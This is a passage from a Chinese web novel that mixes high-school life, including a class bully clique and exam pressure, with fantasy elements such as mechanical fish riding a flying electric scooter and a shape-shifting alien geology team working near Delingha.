艺术家正因为小喇叭吃了她的卤味鸭舌头跟她冷战,一个人阴森森地坐在角落里,给鸭舌头叠灵牌。小喇叭拉她,她也不愿动弹。
于是小喇叭找来了哪里需要哪里搬的万能砖块颜阎:“走,跟我看榜。”
颜阎从书本和练习册的坑坑洼洼中被拽出来,只来得及把笔丢回去:“我订正呢!”
小喇叭顺着她的背往下捋,像在摸狗毛:“一会儿再订。”
“什么榜?”
“蚂蚁大赛。”
告示板周围的人变多了,一群男同学围着它嗷嗷怪叫。大祭司在万众瞩目中笑眯眯地摆动左腿,孩子气地用脚跟蹭地面:“试玩结束——本次大赛每天都有一次重选的机会,下面大家要交报名费了哦!”
一听到要钱,所有人头也不回地往自己座位上走。
大祭司视若无睹,仍旧用她拖长的语调,像在酣睡中讲着梦话:“可以用面包虫、蚯蚓和订正好的卷子,也可以随便用一些花呀草呀什么的来交差——废纸什么的可不行哦——”
同学们立刻又重新围了上来。
大祭司用红色的圆形磁钉把战报订在墙上,下面的则是报名者们各自的得分。
今天的蚂蚁大赛的比分是6:5:0:0。
小喇叭大声叫起来:“啊!还是0!”
拉面将大祭司的手放在温暖的掌心中,水灵灵的眼睛凑到她面前,里面的痛心波光闪烁:“お姫様,能否告诉我。为何辉煌沙漠与秘密花园得分上涨如此迅速。我实在不甘心天空之城……居然就此落于人后……kuso……还是我们太弱小了吗……”
大祭司真诚地说:“蚱蜢比较厉害,分多一点。”
大祭司不是很高,这群坐在后面几排的男生纷纷弯下腰,按着纸张的边角凑过去,布告栏前挤满了林立的脑袋。后面的人怎么都挤不进去。
罗塞塔指着加上的5问:“两边都杀了只蚱蜢?”
“一起杀的,秘密花园的蚂蚁后面才来,我也分不清具体是谁杀的。”
“怎么杀的?”
大祭司想了想:“我在上学,没看见呀——不过我找到了它的腿,应该是被拆掉吃了。”
罗塞塔猛一拍手,惊雷般嗓音把补觉的人都吓醒了:“卧槽,商鞅。”
“笑嘻了。死因:五蚂分尸。”
“五蚂——蚁!”
可能还是视角比较低,触发了高中生的腰背疾病,这群人不由自主地把手背到身后,邦邦邦地敲骨头。他们身边的瓦片头男生鼓动大祭司:“贴高一点,低头看太累了。”
大祭司“哦”了一声,踮起脚把纸张挂得更高了。
“再高!后面的人要看不到了。”
顶到大祭司身后的极限了,几个身高中等的男生也跟着起哄:“沙漠MVP,花园躺赢狗!”
“再高一点!”
瓦片头把整张纸放在布告栏最顶上,这下子,男生小团体里也只有最高的班长和罗塞塔能看见上面的字了。
瓦片头贴上去,才低下头问大祭司的意见:“没意见吧?”
面对这么一大群人高马大,还成绩优秀的人,任谁都有点退缩。大祭司脸上却没有露出恐惧,她崛起嘴唇,表情中有神秘的怜悯:“反正你们也不会听嘛——”
男生小团体里死一般静下来。但是这些人脸上的笑容没有衰退,笑嘻嘻的脸仍然向着她,像是暗处的憧憧鬼影。
正在和郁霖雨说话的十八妹顿住了。
她是个老实的学生,沉默如石,稳重也如石。真诚、努力、身无长处、几乎不发表意见,只是安稳地蹲在自己的地盘。除非有人搬动,否则永不改变。每个人的人生中都会出现数个类似的形象。
这些沉默的石头,构成了社会的地壳。
她没有走动也没有呼喊,眼珠牢牢嵌在眼白中央,像是两颗鱼眼睛。
大祭司对这种紧张的气氛毫无自觉,她望着窗外防止自杀的铁栅栏,那里停着一只肥胖的斑鸠,脖子上的一圈羽毛像是黑白格的披挂。她“啊”地叫了一声,步伐快乐地奔着那只斑鸠去了。
小喇叭用胳膊捅了捅颜阎:“去帮忙?”
“不去。”颜阎拍开她的胳膊。
“你不是最喜欢见义勇为了吗?哦,这时候知道不当出头鸟了?”小喇叭眉梢一挑,“因为是学阀?”
学阀倒也不会动手打人,但是听名字就知道,有阀这个字的除了水阀,都没有好东西。他们是一个中型团体,主要是班里一些成绩良好又号称“爱玩抽象”的男生,喜欢在班级群里发一些多少有点色.情要素的表情包和信息高度浓缩的黑话,或者说一些让人恶心的段子,把人惹生气了,又加上一句:“不会吧不会吧不会有人不知道我在玩梗吧?”
这种嘻嘻哈哈脑筋灵活的男生最好抱团,上课又很会活跃气氛,往往跟老师混得很好。再加上他们成绩优良,老师有时候甚至会询问他们的意见。所以他们跟谁玩得不好,就偷偷地在老师面前扶持谁的对头,或者在小群里编关于那个人的黑话,各种投票选举里故意孤立也是常有的。
被他们缠上了,校园生活可就算是完蛋啦!
“我也不是所有时候都是出头鸟啦……”颜阎撇嘴,“而且,你看,大祭司没有回嘴。”
“可能是害怕?”
“不知道,但是我一般只帮主动还击的类型,太软弱的类型有点难搞。”
“都主动还击了还要你干什么?”
“多一个人多一份胜算嘛,要是都还击了,就是下定决心反抗了,比不清不楚只希望别人救的好多了。”颜阎的左手在身后钳住右臂,漫不经心地说,“同样是落水,还击的人可能会试着游泳,期待着别人来帮忙的人可是非常可怕的,她们会一点都不用力,把自己的生命寄托在你身上,甚至有可能把你拉下去,拿你的尸体当浮板呢。”
“啊……你一说这个我就想起来,幼儿园我们班打群架,你为了救我冲进去。老师问谁动了手,就你实诚举手,结果你被老师踹了好几脚,拎到教室中央了。”
“别忘了后续啊,班里的洋娃娃被弄坏了,因为我有打架前科,所有人都说是我弄的。”
“……还有这事?你后来是怎么说的?”
“我一直在书架看书!”
“笑死。怪不得我印象里你没朋友。”
“我小学初中也没有啊。”
“你小学也这死样?”
“我高中都这死样。”
小喇叭一锤定音:“你长大以后死定了!”
“我从小就知道了!”
小喇叭用腰把她往旁边挤:“可你不是帮一班的妹妹骂人了?”
颜阎把她顶回去:“知易行难。道理是那个道理,但我有时候也会忍不住滴。”
“万一一班的妹妹不领情咋办?”小喇叭屈膝蹬她大腿。
“她什么反应跟我没关系,我只是做我乐意做的事。”颜阎抬腿握住脚踝,当场和小喇叭开始教室斗鸡。
几番交锋下来,小喇叭凭借体重优势,一记三百六十度旋转侧身血溅五步顶,将颜阎击倒在地。
两人龇牙咧嘴,灰扑扑往回走,那边的艺术家已经用叠靠背椅的手法,给鸭舌头叠出纸折坟墓,三根自动笔芯充当香烛敬献亡魂,旁边还有正在念口诀的姐姐。小喇叭隔着老远就用她灵动的耳朵捕捉到了信息——她看似念经实则偷学,居然在背自己桌上摊开的《六国论》!
“咋办?艺术家一会儿碎碎念我。”小喇叭抱臂,“她跟个苍蝇一样,不听她叨叨她就不和我说话。你也知道的,我不能没人说话。”
“你跟她低头呗。偷吃人家鸭舌头,怎么想都是你的错。你没吃早饭?”
“吃了倒是吃了……”
“但是?”
“我喝牛奶拉肚子。”
“所以?”
“我妈觉得人必须喝牛奶,天天盯着我喝。不喝她就大发雷霆。”
“于是?”
“于是我一周拉瘦了两斤!”
小喇叭不愧是小喇叭,声音奇大,一怒之下更是升级到广播级别。这下方圆三米的同学都知道她肠道通畅了。
颜阎捂住耳朵点头:“奇观!”
“拉完就会饿,早饭就会变得像没吃。饿了就会烧心烧胃烧舌头,我小喇叭不能没有舌头!只好借用一下她的鸭舌头了。”
“你的舌头已经够灵活了,别再补了。”艺术家她捂住眼睛绝望地叫,“快回来坐着吧你!”
虽然小喇叭和颜阎都一副无所谓的样子,但她是真心替这两个人尴尬,有点想立刻从世界上消失了。
小喇叭心胸宽广,没有追究对错,乐颠颠回去了。只剩下无亲无故的颜阎在原地握拳头:调解她人,苦了自己!不如多做两套卷子,以免晚上又两点睡觉。
她后面一节自习课狂写作业。但她的注意力又相当不集中,全神贯注写十分钟眼神就涣散了。
不知道律易棋的冰糕能不能卖出去……
想这么多干嘛!写作业写作业!
温蒂妮能不能包养我让我不用上学啊……
焦点是(4,0)。
温蒂妮能不能……这个想过了。康烁影能不奋发图强做大做强成为为祸一方的富婆然后让我吃软饭啊?刘征兰就算了,我和她这辈子都不可能有钱了……
nihilism虚无主义,anguish痛苦不已。
唉想学文,死都不想学理……
等她想完这些,离下课也不远了。
她开开心心收拾好书包,下课铃一响就冲出令她浑身不自在的教室,冲到二班门口。
二班后门锁着,前门已经挤了好几个等朋友的普通班学生。周天子还没走出来,正在讲台上收拾包和钥匙。颜阎把手挡在嘴边,小声跟她说话。
刘征兰跟她直摇头,手指着讲台上的周天子。
颜阎不在乎周天子。课都讲完了,还能干涉学生交友?但刘征兰不乐意,她也不强求,只是托外面等人帮她给年级第一捎个话,就说:“颜阎去牵车。”
她拽着陈年书包长短不一的肩带狂奔到车棚,心中一凉。
四班车棚里挤挤挨挨,一辆车都没牵走。
她从头到脚地一个哆嗦,脚生了根一样踏在原地。
毕竟是高三,要是错过什么重要的事情就完了。她人缘也不怎么样,万一是信
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息量特别大的事,她可不觉得有人会耐心跟她转述。
幸好救星来了,希腊风大理石走廊上,一面行走的刚柔牌慢慢悠悠飘过来,盾牌上面还有半个蓬松得像羊毛球的脑袋。
颜阎推着车一路小跑过去:“十八妹!!!救我!留堂说啥了?”
羊毛球下面钻出一只眼睛:“来得正好。拿一份。”
“啥?”
“选团员的,都得签个字。”十八妹努力在自行车后座上给那一沓本子上找了个平衡点,不用扶本子的那只手揣进兜里,摸出一只中性笔,“照着我的抄就行了,就在这儿,一会儿我还要带去复印。”
颜阎接过笔,照着上面规整的衡水体写自己的丑字:“怎么是你干活?班长,罗塞塔,皇后他们呢?”
“我是副班长呀。”
好像有这事。但四班颇有董仲舒遗风,罢黜百家独尊儒术,孔丘手里的权力高度集中,几个班委都是徒有其表的空职,副班长更是好事轮不到破事一大堆。
颜阎让她把东西放在自己车筐里,拍着车吹嘘自己当初没买赛车的先见之明时随手摸了一下车筐,铁锈和灰尘厚得有触感。她不动声色道:“还是放在后座吧,我推着走。”
两个人推着车从车棚走向门口,这一段路上会经过旧楼上沉寂的圆顶天文台,人去楼空的小卖部,还有马英妹长满野花和蒲公英的花圃,如果运气好,说不定还能看到谷神在里面打洞。
地球像是一条蜕皮的蛇,从夕阳透明的橙红色云霞里滑出,就会成为崭新的一天。
但是每一张皮都各有不同,今天的夕阳和昨天的夕阳,呼叫中心外的夕阳与这个世界的夕阳,永远不会是同一片蛇蜕。
发表以上心路历程只花费了五秒。颜阎还沾沾自喜了一下,觉得自己这个比喻真不错,必须跟别人分享一下自己的才华。于是她抓住旁边的十八妹:“你看地球像不像一条蛇?”
十八妹露出了宽容而温馨的笑容,如同正常人面对神经病:“像像像。”
“不是,就是……”颜阎自暴自弃了,反正十八妹这种人也觉得没劲,“是吧!快夸我!”
“你最棒了你最棒了。”
说完这些,两个人就沉默下来。
颜阎实在没有别的话题可聊了!但她又实在忍不了两个人并排走着却不说话。干脆来点没情商发言好了,反正她的定位是精神病反社会,大家都会包容她的。
“下次孔丘让你办事,你也推给学阀他们一点。别总是让咱们这种底层倒霉蛋干活。”
十八妹道:“先熟悉一下好啦,以后工作上学也总是要干的。”
“谁说的!你当然可以不干!”颜阎让自行车靠在自己身上,手脚并用对着空气打出一套王八拳,“谁让你干,你就哇呀呀冲上去揍谁!”
十八妹被她逗得眼泪都出来了,她用拇指揩去泪珠,笑吟吟道:“你觉得我被欺负了吧?”
倒也算不上被欺负,更像是一种对吃苦耐劳的人习惯性利用。人们用锄头的时候,也不会觉得是在欺负锄头。
要是对方是小喇叭,她就这么说了!可是十八跟她又不熟。颜阎开动大脑,动用她活着十八年来总结出来的社交技法——遇事不决,先夸别人一通!
“嗯……我觉得是你很靠谱很成熟,所以大家都很信任你,才会把活交给你干。”
“真的吗?”十八妹的眼睛一下子亮起来,像两枚明珠子。
颜阎说:“真的真的!”
所有人都喜欢被夸奖。如果你恰好夸到了她迫切需要认可的地方,她会尤其喜欢你。十八妹看起来就有点这个意思。她有点不好意思地把头扭向马老师的花圃,声音低如虫鸣:“我能问你一个问题吗?”
“你说!”
“我……算了。”
“不许算了!”颜阎把她扳过来面对自己,“你看过动漫吗?”
十八妹惊恐摇头:“我没手机。”
“喜羊羊与灰太狼都行。”
“那看过。”
“里面所有人说没事的时候,都是把最关键的剧情省略了,让观众干着急。你可不要成为那种人!”
十八妹深吸了一口气:“那我问了。”
“你问。”颜阎鼓励她,“多问。”
“你……”
她不说话了,眼睛瞪得无比圆,一句脏话从口型中缓缓流出来。
“……大爷的。”
颜阎惊觉不妙,顺着她的视线往后看。
她的嘴也长大了。
见过鱼吗?水里的,用鳃呼吸的,没有眼皮,呆呆傻傻的,一般放在景区水池里的那种。
见过?很好。见过电动车吗?就是那种,充电就能呜呜跑的代步工具。
也见过?那也很好。
见过鱼骑电动车吗?
见过一群鱼骑电动车吗?
见过一群鱼在天上骑电动车吗?
两袋鱼,用透明塑料袋装着,分别挂在车把手上,令电动车保持匀速。
一只翻车鲀,在车座子上躺平。偶尔有气无力地跳那么一下,车座因它的体重下沉又弹起,翻车鲀就会再弹一下。
其他所有鱼都缩在电动车筐里。无数的鱼,眼睛里全都闪着诡异的光。
一只嘴里全是吸盘的鳗鱼从铁格子里钻出来,面对夕阳,昂首挺胸。隔着老远颜阎都能听到它意义不明的嗷嗷声。只有接入监控的弓粟和完全把机械鱼忘了所以心虚不已的马英妹听到了它们在喊什么。
“我们机械鱼家族,终于自由了!哈哈哈哈哈哈哈哈!人类!忏悔吧!臣服吧!”
机械鱼们大笑:“忏悔吧!臣服吧!”
刘征兰扶住滑落的眼镜腿。在现代科技的帮助下,她看见一个小小的、灰灰的肥硕影子,攀着电动车的脚蹬爬到驾驶位上,顺着车身一路向上,直到紧紧贴在把手之间的仪表盘上。
一段令人安心的电子滴滴声响起。
“梨巫出行,为您服务。已确定导航地址,即刻出发。”
机械鱼们大惊失色:“什么?什么?去哪儿?快调头,快调头!”
电动车嘟嘟嘟地开走了。
智神放肆的唧唧叫还在空气里回荡:
“工作!我来啦!”
目睹了这一幕的所有同学都愣在原地。过了许久,才有人开始揉眼、踩脚、互相扇巴掌。许多人甚至已经心安理得往地上一趟,念叨我还没睡醒。骑电动车来的倒霉蛋哀嚎着冲出学校,祈祷被骑走的不是自己的车。
十八妹愣愣地看着电动车消失的地方。
颜阎小心翼翼给她拍背:“没……没事吧?”
“不……没事……不如说我又有勇气了。这下子,那句话我也能问得出口了……”十八妹再次深吸一口气,“我问了!”
颜阎被她的气氛感染,不自觉严肃起来:“你问吧!不管什么我都会回答的!”
“你是给二班男生纹身的那个人吧?”十八妹问。
113.今夜我在德令哈
透明的蛇蜕从地球身上落入浓黑的宇宙中。
秋季快要来到了,它将夏的放肆与不羁、把年轻人们在操场上奔跑的时间收进它芳香四溢的锦盒里。黑天来得更走了,潮水般的暗影用绝望的手指勾勒恒星的光谱。
那骑着电动车远去的鼹鼠和鱼,都像不曾存在。
颜阎把贴着汗津津后颈的高马尾拎出来搭在校服外套上:“就是我呀就是我呀!我是惩奸除恶的super hero哒!”
十八妹用手压着后座上的一大摞本子和纸:“我说真的。”
颜阎不笑了。
笑嘻嘻的人没有表情的时候多少显得有点吓人。十八妹感觉喉咙里抽搐了一下,放学后学生们的自行车铃叮、叮、叮地响着。她感觉颜阎的脑袋变成了一块旋转的空无,里面不喜不悲不言不语,只有一声叹息。
“你为什么觉得是我?”
“如果从认识的人里选一个,只能想到你。”
“好。”颜阎说,手拨了一下车铃,“你要听实话?”
十八妹重重点头:“嗯!”
对面的女孩叹息,气息沉沉:
“不是我啦!”
“啊?”
颜阎哼哼笑起来:“我要是有这能耐,我要做的第一件事就是退学去杀人,从今天一直杀到过年,杀足一百八十天,杀出美味杀出鲜。”
十八妹很困惑似的:“好吧……”
“很感兴趣吗?”
“嗯。总觉得这件事很奇怪,毕竟也不是很大的事,却有人能为此悄无声息潜入别人家,有点可怕。”十八妹若有所思,“这种义侠,最后不是总会变成反社会嘛。”
“但目前也不是坏事吧?”
“嗯……这倒是。”
“但是有一件事你没有注意到哦。”
“什么?”
颜阎跳脚:“吐槽啊!刚才我想出的那个梗没意思吗?吐槽啊!我还特意欲扬先抑了一下!”
“……哈哈?”
颜阎大叫:“我讨厌你!”然后拎着书包肩带就跑。
“你车还在!”
“不要了!你伤透了我的心!我再也不和你们正经人玩了!”说完这句话,颜阎又跑回来,把车钥匙的铁环套在她食指上,“晚上记得还我哦。”
钥匙环上没有挂饰,孤零零的一个。十八妹拿到眼前,没有任何玄机,真就是开自行车锁的。她一脸困惑,逆着放学的人潮往回走。看见马英妹的花圃,她才把生锈的脚蹬撑在地上,一只手扶着大摞“工作”,一只手摇动车铃。
花圃里钻出一个脑袋。大祭司手里捏着一只扁气球一样的机械鱼,食指从鱼的腮盖穿入体内,将鱼的头部撑得饱胀:“下午好呀。我发现了一只能在岸上呼吸的鱼,它的腮好硬……”
从电动车上掉下来的萨卡班甲鱼:“救命!”
没人听懂。
十八妹说:“颜阎说不是。”
“这样啊。”十八妹的眼睛没有焦点地落在近处,“那,就不是嘛。”
“那你觉得还有别人吗?二班的年级第一?还是那个交际花?当初她们三个玩到一起去就已经够奇怪了。”
大祭司道:“你和我能玩到一起也很奇怪呀。”
“话是这么说。”十八妹蹙眉,“但是,那是颜阎。她对所有成年人,都是那个深仇大恨的态度。她如果有给别人刺青的能力,我真觉得很危险。说不定那件事……”
大祭司在花圃里蹲下,野草刮蹭她的小腿,细细的痒:“不着急,你先好好学习吧。马上就要高考了”
十八妹叹息,深感这里一个靠得住的成年人都没有:“就是因为快要高考了。等到毕业,这里的大部分人都不会再联系。有些事,我们必须在毕业之前搞明白……”
她们头顶的夜色吞噬了天际。在同一片天穹之下,有许多人背负着天空的沉重,将身体俯进黄土中。
犰狳在山顶上寻找新鲜的岩石露头,山顶和它的骨质甲一样浑圆、憨厚,身上有嶙峋的带状凸起。
对于两条纤细的肢体支撑、两足站立、身体结构非常不适合野外活动的人类来说,行走在恶劣的地势中可能是件凶险的事,但是对于灵肉们四肢着地的身体来说,这就简单多了。地质勘探就应该全权交给它们来做嘛!
它的浣熊朋友坐在山石上,风难得和煦,这里被太阳晒得暖烘烘,比春日缤纷的花田还要温柔。它手里握着一把烘焙鸡肉干,另一只手高高举起肥厚如掌状的叶片,从里面挤出清甜多汁如果冻的叶肉。
“我觉得出野外就应该吃芦叶。”它说。
犰狳打定主意,等它休息完就叫它去打产状。
作为灵肉,它们本应该可以生吃没有智慧的地球动物,或者挖掘地下的植物根茎。可是地质浪漫团的人员数,远远超过当地普通的动物群落,大地不能供给所有人。
它们携带了许多食物。除了烘焙冻干,还有用于补充水的芦叶、补充盐分的盐块和满足口腹之欲的糖浆。那些工业糖浆在它们的原产地可以同时作为药材、建材和调料,如今地质浪漫团的成员偶尔也会遵循古法,用高浓度糖浆来消毒——这并不专业,回到营地后,大家还是会进行医学处理。
自从觉醒联盟和玛丽基金会的合作减少以来,商品一向如此匮乏。柯玛社会虽然会出于智慧造物的同盟感,与觉醒联盟的灵肉低价交易,但毕竟是两个不同的政体,很难真正帮助对方度过难关,即使是远在星际文明边界的地质浪漫团,也多多少少受到了商业活动的影响。
“洗斯文!”
浣熊答应了一声,把定点追踪的漆黑剑柄插入地面,葎鸦测绘师衔住一截布满光电黏菌的闪电飞上天空,数个点位被锁定,黏菌组成的闪电如同盛开的花瓣,四处伸展——它开始自动放量,几个点位中落下了闪亮的菌群。
“坷垃!”地面上的团员们呼喊,“快下来!”
“天上——Qra——有东西——Qra——”
地面上的团员们仰起头,放下爪子和地质锤,仰头看向天空。
夜晚慢南方一步降临的柴达木,天空仍然是某种稀薄的蓝。一颗小星星从远处降临,像是果茶里滴入一点奶昔。团员们用自己的视网膜,用翅膀,用义眼和反重力机器,看见一辆落满灰尘的电动车向盆地松散的地面驶来。
电动车上挂着两袋鱼,坐垫上躺着只翻车鲀,车筐里一堆鱼在甩着尾巴。从车筐的格子里,伸出一只肉乎乎的、不容小觑的爪子。
“是智神!”
“智神?”
“哇!智神回来了!”
下溯河谷的安宁扯着绳子,将腿拔离千层饼一样酥脆的河岸,这位团长抬起手腕上和律易棋同原理的磁化十六角罗盘,奋力记下了时间和地点,这才压着渔夫帽匆匆忙忙赶来。
“智神!你决定跟我们走了?”她挥舞着手臂呼喊,“快来吧!地球的勘探快要结束了!”
智神顶开电动车筐的盖子,从里面蹦下来。因为刚从对流层降落,它感觉呼吸困难,身体里的器官被挤得有些疼痛。四肢落地的那一刻,它立刻趴下了。
团员们大笑,爵士用身体下方的吸盘把它吸起来,送到貉子背上:“今天就先休息一下吧哒!”
“明天要回来跟我们一起挖地球啊!”犰狳的声音远远传来。
大部分团员在画图和敲石头,安宁的梗犬托雷和几只灵肉绕着电动车打转转。没人问它为什么离去,也没人问它为什么回来,地质勘探是危险而艰苦的工作。它没有温柔的风景,没有愉快的旅行,没有商业区和随叫随到的美味佳肴。与它相伴的是山体滑坡、中暑、打缕的毛发和崎岖的地形。
在这里,退出和死都是常常发生的。即使来的时候安宁尽力挑选出了吃苦耐劳的团员,即使所有人在出发前都做好了追逐梦想抛弃一切的决心,减员仍然不可避免。因此,大家习惯于不刺探彼此的软弱。
想腰缠万贯功成名就,请好走不送;想生活轻松四处旅游,请不要再来;
想探知世界,想解开谜团,想踩踏没有砖石和混凝土浇筑的土地,不害怕风雨,也不害怕黑夜降临,那么请进,欢迎您来。
安宁带着智神躲进赤狐和鼹鼠们挖掘的地下住所,伊丽莎白正在里面记录归档。地质浪漫团的归档记录方法异于其它。团员会用木头、气读层、釉化材料和防腐剂,制造一个可拆卸模型,模型大概比地球仪大一点,每一块土面、岩石、地貌,事无巨细,如同上帝在建造一个新的星球。伊丽莎白是模型设计者之一,建造者则是蚁群和蜂群。
地心撑着地幔,地幔裹着地壳,30亿年前的地球岩层外覆着25亿年前的片状岩叶,丑陋的灰石豆荚般夹着矿藏。模型像千层酥的挞皮,一层层向外堆叠。每一层的表面,灵肉们用自己的方式留下了笔记。气味、信息素、黏合树胶的味道……对于灵肉们来说,这个模型本身就是一本庞大的地质百科全书。
在槲园星,地质浪漫团的总部,一座有橱窗店铺的两层小房子,有许多这样的收藏。除此之外,当然还有许多化石。地质浪漫团,像一个孩子的玩具箱,里面收藏着生物骨架、弹珠一样的星球模型、奇形怪状的石头、地质锤、水壶、罗盘、放大镜和朋友们的礼物。
地下的临时住所中,安宁给它分享了新鲜的蔬菜叶:“你错过了好多,你知道吗?我们去了地球的海拔最高的山峰旁边,那里的向斜山和球状风华很漂亮,在最高的地方,地上随便劈开一块石头,都能找到水晶的晶簇。”
智神有点遗憾:“我在平原呢。那里平得一点凸起都没有,但是人却很少,特别奇怪。既没有很高很高的建筑,也没有很多很多的山,远远看过去都是一鼓一鼓的房顶。”
“工业城市吧?感觉如何?”
“超级差。经常有人烧塑料和麦秆,很难闻。桌子下面一天就能积灰。”
“学校好玩吗?我还没上过学呢。”
“不好玩。所有人都像死了一样,上课都面无表情,下课不是睡觉,就是发疯一样笑。大部分时候都不抬头,每个月都有人在走廊里突然哭。”
“那好吓人。”
“嗯,比出野外还吓人。”
“那你是怎么回来的?”
智神咔嚓咔嚓咬着汁水充沛的蔬菜叶:“骑电动车。”
“骑……”画图的伊丽莎白一顿,“你说什么?”
“电动车。”
伊丽莎白有点出汗:“听起来不像鸟的名字。”
“是电的。”
安宁的笑容僵硬了。
她向外狂奔,风吹掉她头上的渔夫帽,伊丽莎白熟练地接住她的帽子,盖在自己头上。
电动车周围绕了一大圈人,鱼在里面欢快地摇尾巴。安宁把它们抓出来扔在沙地上,满身冷汗地看着电动车。
她问跟上来的智神:“你们是直接开过来的吧?”
“呃……是,这些鱼说,根据它们的观察,它们发现曾经有一个女学生骑着它上天。”
“为什么一定要上天呢?”
“它们说最有地位的人都身处高位。”
“那么……周围有人吗?”
“什么人?”
“什么人都算。”
“哦,什么人都有。”
安宁抱头,眼神空洞地掰起手指:“银河守秘法,反豢养法,爬行文明基础认知巩固法……这下子我们地质浪漫团对地球的历史摇动率要升到史无前例的0.3了。对不起,各位,地质浪漫团怕是到此为止了……”
地上的七鳃鳗说:“我觉得你不用过度担心。”
安宁将它捧起来:“有何高见?”
“你们人类早晚要被我们机械鱼消灭的,到时候,你们就一点烦恼都没有了……”
安宁哭丧着脸:“亏我刚才那么相信你。”
“哼。那个学校,有恐怖的鲜血之王。她和她的语音助手狼狈为奸,到处抓捕锦鲤,屠杀蚂蚁,斩首蛾子,养死绿萝。这样的科学狂人,想必你们也无从抗衡……呃呃呃呃别掐我。”
安宁想起了它们灵肉的造物主,目前已经是电子海幽灵的弓粟。
她说不定能及时制止流言的传播,就算不能制止流言,制止照片也好啊!
她向远处的地洞里喊:“讯传,谁带了讯传?”
葎鸦停在她肩上:“Qra,讯传死了。”
“……什么?”
“好像是当地钾含量太高,神经单元死了。”
安宁大惊:“拿给我看看。”
灵肉抬着讯传来了。它们的讯传是两根四根压缩在玻璃管中的纤维束,任意两根之间都能进行画面显示和气味分子传递。安宁打开玻璃管,身体里的细胞校准显微镜般调整了眼睛的观察倍数,向玻璃管俯身过去。
纤维束内部。所有白色的纤维束、电子元件,都链接着一种极其微小,通体漆黑的单眼生物,它疑似头顶的部位有三根如同鞭毛的竖起。从生物活动层面来看,确实是死了。
安宁悲叹一声,拿袖子擦了擦坐垫,骑上电动车:“最近的办事处在德令哈。我去一趟,重新换一只通讯单元,伊丽莎白监督你们工作,别偷懒哦。”
机械鱼在地上弹跳:“把自行车还给我们!”“那是我们的东西!”
安宁朝它们做了个鬼脸,骑着车突突突走了。
俗话说得好,生物界失去了颜阎,就像鱼失去了电动车。这一天,两项壮举同时实现了。
颜阎拉着刘征兰去跟马英妹讨论飞天电动车,被骂了。马英妹让她别管这些有的没的,把生物学好才是当务之急,你看看你的作业怎么错成这样。颜阎眨巴眼睛,无比可怜:“可是老师,作业就是用来巩固和检测的,我要是一上来就做对,就不用作业了。”
“你就顶嘴吧。”
刘征兰把她拦下去,以防她逆反心理上来,把难得几个喜欢她的老师也得罪了:“老师,电动车的事怎么办?”
马英妹露出狡诈笑容:“我让弓粟从互联网接入我们学校的学生手机搜查。谁拍了照片,我就跟主任说谁带了手机。”
“……”颜阎杵刘征兰:“记得让康烁影把手机藏一下。”
刘征兰沉痛点头:“我会的。”
“那么飞天电动车怎么说?可以解释吗?”马英妹翘着腿问自己的两个问题学生,“你们两个呀,以后工作了,肯定也天天弄出事来。”
社会化程度超低的二人组呵呵干笑:“我们真不知道。到底是怎么一回事呢?老师您要不要问一下您的小鼹鼠?”
马英妹捧出谷神,它扛着小铁锹哼哼唧唧:“智神去地质浪漫团了。”
“所以呢?”
“就,我们就放它走了嘛。怎么走就是它自己的事了。”
马英妹捏它:“真是不负责任的姐姐。”
刘征兰立刻浑身难受:“已经很好了好吧,姐姐又不是妈。”
马英妹放她们两人回去上课,除此之外,还一人塞了一个小塑料袋,里面是用椒盐炸出来的酥皮蘑菇。
晚自习时,造纸厂的废气带着膨胀的有毒气味钻进教学楼里,两个人捏紧塑料袋,匆匆在楼梯口分别了。
二班这节课是物理,刘征兰的主场。但她一向觉得老师讲得太慢太差,所以都是课后自学的。除了讲卷子,她其实不怎么听讲课,于是就在下面摊着矩阵学院借来的课外书吃炸蘑菇。
康烁影晚自习压根没来,家里人过生日,她被妈妈带去陶县吃饭了。她一走,全班几乎没有人敢跟刘征兰搭话,就连平时跟她嘻嘻哈哈的柳令全和张晓怡也有点小心翼翼。
但是大家又真的很需要她的笔记。
物理老师讲完光的衍射,把剩下的时间给学生写作业,自己端起玻璃茶杯啐着茶叶沫子出去了。全班瞬间换了座位,关系好的人挤成一堆。刘征兰两耳不闻窗外事,一心只吃炸蘑菇,坐在原位没动,想跟她换位的男生眼睛都快眨瞎了她也没动,只能骂骂咧咧地回头。
骂人的话她倒是听见了。刘征兰抬起头冲那人冷笑了一声,没多说什么,那个男同学已经自觉理亏了——学习好的人就是有这种莫名的烦躁优待。
张晓怡怂恿柳令全去找她搭话,柳令全说又不是我要笔记,张晓怡恼怒地揪她的耳垂:“你都有胆子打耳钉,没胆子跟刘征兰说话?”
柳令全捂着耳朵:“唉,打耳钉怎么了!”
张燕之从前往后传检查完的错题本,听到她俩在那儿争论谁去找刘征兰说话,有点想笑:“那我帮你们?”
两个人立刻从后面抱住张燕之的脖子:“谢谢燕儿,你最好了!”
张燕之喊了刘征兰,找她借笔记。刘征兰皱着眉问,你怎么会要我的笔记?张燕之笑吟吟摊开手:“借一下呗。”
刘征兰皱起眉头,冰冷的眼睛盯着张燕之,又挪到张晓怡和柳令全身上,哼笑了一声。张晓怡暗自攥住柳令全的胳膊,而张燕之从桌子下面牵住她的另一只手,捏了捏。
外面有人叫她,似乎是颜阎,她说马老师让她去办公室。刘征兰把笔记和炸蘑菇都放在张晓怡桌子上,向着颜阎走过去。
“你的零食!”张晓怡喊。
“你盯了好久了,拿去吧。”刘征兰背对着她挥手,“有话直说。”
张燕之笑:“这下好了,人家还以为你纯嘴馋。”
张晓怡愤怒地把炸蘑菇扔到桌边。柳令全看她们都不吃,任劳任怨当起垃圾桶,咔嚓咔嚓地把炸蘑菇消灭了。
马老师一打开门,空调的凉爽让两人由衷地叹息:“真舒服……”
办公桌的电脑上面,一个渔夫帽女人朝她们尴尬地笑了笑:“不好意思,又要麻烦你们……”
刘征兰看了她好一阵,郑重地开口:“你是谁?”
没好意思直接问出这句话的颜阎赞许地给她比大拇指。
女人使劲捏了捏脸。黄铜色的皮肤橡皮泥一样变了形:“啊?很不一样吗?”
弓粟压低声音向两人解释:“是安宁。”
安宁捧着自己的脸,笑眼弯弯:“我是变形怪呀,本体是一团肉泥,有点吓人。为了和当地人交流,我会变成当地人的外形,但这些外形都只是衣服,我会根据环境偶尔换掉的。”
她站在郊外,背景里有一条靛蓝的河,一截金色的光柱在远处闪烁,似乎是光电热站:“我在德令哈,讯传里的神经单元死掉了,我来换新的。”
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>颜阎和刘征兰对视一眼:死……死掉了?
